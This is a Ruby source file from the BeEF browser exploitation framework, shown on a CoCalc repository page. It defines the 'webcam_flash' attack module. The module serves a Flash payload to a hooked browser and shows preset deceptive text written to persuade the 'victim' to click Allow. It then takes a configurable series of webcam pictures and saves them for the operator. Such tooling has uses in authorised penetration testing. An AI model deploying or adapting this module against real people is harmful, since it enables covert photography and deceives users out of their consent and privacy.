Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/webcam_flash/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
require 'base64'
7
class Webcam_flash < BeEF::Core::Command
8
def pre_send
9
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam_flash/takeit.swf', '/takeit', 'swf')
10
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam_flash/swfobject.js', '/swfobject', 'js')
11
end
12
13
def self.options
14
social_engineering_title = 'This website is using Adobe Flash'
15
social_engineering_text = 'In order to work with the programming framework this website is using, you need to allow the Adobe Flash Player Settings. If you use the new Ajax and HTML5 features in conjunction with Adobe Flash Player, it will improve your user experience.'
16
no_of_pictures = 20
17
interval = 1000
18
[
19
{ 'name' => 'social_engineering_title',
20
'description' => 'The title that is shown to the victim.',
21
'ui_label' => 'Social Engineering Title',
22
'value' => social_engineering_title,
23
'width' => '100px' }, {
24
'name' => 'social_engineering_text',
25
'description' => 'The social engineering text you want to show to convince the user to click the Allow button.',
26
'ui_label' => 'Social Engineering Text',
27
'value' => social_engineering_text,
28
'width' => '300px',
29
'type' => 'textarea'
30
}, {
31
'name' => 'no_of_pictures',
32
'description' => 'The number of pictures you want to take after the victim clicked "allow".',
33
'ui_label' => 'Number of pictures',
34
'value' => no_of_pictures,
35
'width' => '100px'
36
}, {
37
'name' => 'interval',
38
'description' => 'The interval in which pictures are taken.',
39
'ui_label' => 'Interval to take pictures (ms)',
40
'value' => interval,
41
'width' => '100px'
42
}
43
]
44
end
45
46
def post_execute
47
content = {}
48
content['result'] = @datastore['result'] unless @datastore['result'].nil?
49
content['picture'] = @datastore['picture'] unless @datastore['picture'].nil?
50
save content
51
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/takeit.swf')
52
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/swfobject.js')
53
end
54
end
55
56